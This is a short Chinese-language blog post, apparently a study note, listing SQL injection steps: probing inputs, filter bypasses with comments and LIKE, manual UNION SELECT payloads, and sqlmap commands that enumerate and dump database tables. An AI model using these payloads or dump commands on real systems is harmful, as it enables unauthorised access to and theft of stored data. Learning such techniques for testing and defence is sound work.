sql注入

Posted ruowei

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。

一、步骤
  • 判断是否存在注入,注入是字符型还是数字型
  • 猜解sql查询语句中的字段数
  • 确定显示的字段顺序
  • 获取当前数据库
  • 获取数据库中的表
  • 获取表中的字段名
  • 下载数据
  • 工具:sqlmap
 
二、寻找注入点
  • 输入的字段作为string,用单引号或双引号来判断
  • 输入的字段作为数值型,此时没有字段两边引号,也适用于没有错误回显(盲注)
  • id=1 and 1=1和id=1 and 1=2
  • id=1 or 1
  • id=-1
 
三、过滤
  • 空格被过滤,可以用/**/(注释)替换 
  • =被过滤,可以用like替换
 
四、手工注入
  • 判断字段数: order by 数字
  • 判断回显位置:union select 1,2,3,4...
  • 判断数据库信息:union select database(),user(),version(),...
 
五、编码
  • url编码
  • md5编码
  • base64编码
 
六、sqlmap    
  • python sqlmap.py -u "url"                        //查询是否存在注入点
  • python sqlmap.py -u "url" --tamper "base64encode.py"        //使用base64编码
  • python sqlmap.py -u "url"  --dbs            //查询数据库
  • python sqlmap.py -u "url" -D dbname --tables         //查询表
  • python sqlmap.py -u "url" -D dbname --tables --columns   //查询字段名
  • python sqlmap.py -u "url" --dump -T tablename -C "字段名"     //获取字段的值

以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章

sql 注入是啥?

什么叫sql注入,如何防止sql注入

关于SQL注入

Java安全-注入漏洞(SQL注入命令注入表达式注入模板注入)

sql注入一

什么是sql注入如何防止sql注入